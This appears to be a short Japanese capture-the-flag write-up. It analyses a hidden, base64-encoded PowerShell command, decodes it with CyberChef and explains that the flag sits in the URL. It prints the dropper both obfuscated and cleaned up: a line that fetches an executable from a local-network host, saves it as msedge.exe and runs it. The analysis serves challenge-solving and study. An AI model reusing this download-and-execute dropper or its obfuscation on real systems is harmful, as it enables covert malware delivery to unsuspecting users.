-window hidden -noni -enc JAB1AD0AJwBoAHQAJwArACcAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAwAC4AMQA2ADoAOAAyADgAMgAvAEIANgA0AF8AZABlAGMAJwArACcAbwBkAGUAXwBSAGsAeABCAFIAMwB0AEUAWQBYAGwAMQBiAFYAOQAwAGEARwBsAHoAWAAnACsAJwAyAGwAegBYADMATgBsAFkAMwBKAGwAZABGADkAbQBhAFcAeABsAGYAUQAlADMAJwArACcARAAlADMARAAvAGMAaABhAGwAbABfAG0AZQBtAF8AcwBlACcAKwAnAGEAcgBjAGgALgBlACcAKwAnAHgAZQAnADsAJAB0AD0AJwBXAGEAbgAnACsAJwBpAFQAZQBtACcAKwAnAHAAJwA7AG0AawBkAGkAcgAgAC0AZgBvAHIAYwBlACAAJABlAG4AdgA6AFQATQBQAFwALgAuAFwAJAB0ADsAdAByAHkAewBpAHcAcgAgACQAdQAgAC0ATwB1AHQARgBpAGwAZQAgACQAZABcAG0AcwBlAGQAZwBlAC4AZQB4AGUAOwAmACAAJABkAFwAbQBzAGUAZABnAGUALgBlAHgAZQA7AH0AYwBhAHQAYwBoAHsAfQA=
C:\hack\shared\read_this.docx
%SystemDrive%\hack\shared\read_this.docx
S-1-5-21-1812296582-1250191020-2086791148-1001

base64化されたペイロードpowershellで動かすいつものやつ。

https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Decode_text('UTF-16LE%20(1200)')&input=SkFCMUFEMEFKd0JvQUhRQUp3QXJBQ2NBZEFCd0FEb0FMd0F2QURFQU9RQXlBQzRBTVFBMkFEZ0FMZ0F3QUM0QU1RQTJBRG9BT0FBeUFEZ0FNZ0F2QUVJQU5nQTBBRjhBWkFCbEFHTUFKd0FyQUNjQWJ3QmtBR1VBWHdCU0FHc0FlQUJDQUZJQU13QjBBRVVBV1FCWUFHd0FNUUJpQUZZQU9RQXdBR0VBUndCc0FIb0FXQUFuQUNzQUp3QXlBR3dBZWdCWUFETUFUZ0JzQUZrQU13QktBR3dBWkFCR0FEa0FiUUJoQUZjQWVBQnNBR1lBVVFBbEFETUFKd0FyQUNjQVJBQWxBRE1BUkFBdkFHTUFhQUJoQUd3QWJBQmZBRzBBWlFCdEFGOEFjd0JsQUNjQUt3QW5BR0VBY2dCakFHZ0FMZ0JsQUNjQUt3QW5BSGdBWlFBbkFEc0FKQUIwQUQwQUp3QlhBR0VBYmdBbkFDc0FKd0JwQUZRQVpRQnRBQ2NBS3dBbkFIQUFKd0E3QUcwQWF3QmtBR2tBY2dBZ0FDMEFaZ0J2QUhJQVl3QmxBQ0FBSkFCbEFHNEFkZ0E2QUZRQVRRQlFBRndBTGdBdUFGd0FKQUIwQURzQWRBQnlBSGtBZXdCcEFIY0FjZ0FnQUNRQWRRQWdBQzBBVHdCMUFIUUFSZ0JwQUd3QVpRQWdBQ1FBWkFCY0FHMEFjd0JsQUdRQVp3QmxBQzRBWlFCNEFHVUFPd0FtQUNBQUpBQmtBRndBYlFCekFHVUFaQUJuQUdVQUxnQmxBSGdBWlFBN0FIMEFZd0JoQUhRQVl3Qm9BSHNBZlFBPQ

みたいな感じでデコードする。

$u='ht'+'tp://192.168.0.16:8282/B64_dec'+'ode_RkxBR3tEYXl1bV90aGlzX'+'2lzX3NlY3JldF9maWxlfQ%3'+'D%3D/chall_mem_se'+'arch.e'+'xe';$t='Wan'+'iTem'+'p';mkdir -force $env:TMP\..\$t;try{iwr $u -OutFile $d\msedge.exe;& $d\msedge.exe;}catch{}

をキレイにして

$u='http://192.168.0.16:8282/B64_decode_RkxBR3tEYXl1bV90aGlzX2lzX3NlY3JldF9maWxlfQ%3D%3D/chall_mem_search.exe';
$t='WaniTemp';
mkdir -force $env:TMP\..\$t;
try{
    iwr $u -OutFile $d\msedge.exe;
    & $d\msedge.exe;
}catch{}

となる。iwrで持ってきて起動するドロッパー。base64エンコードっぽいものがURLに見えるのでデコードすると答え。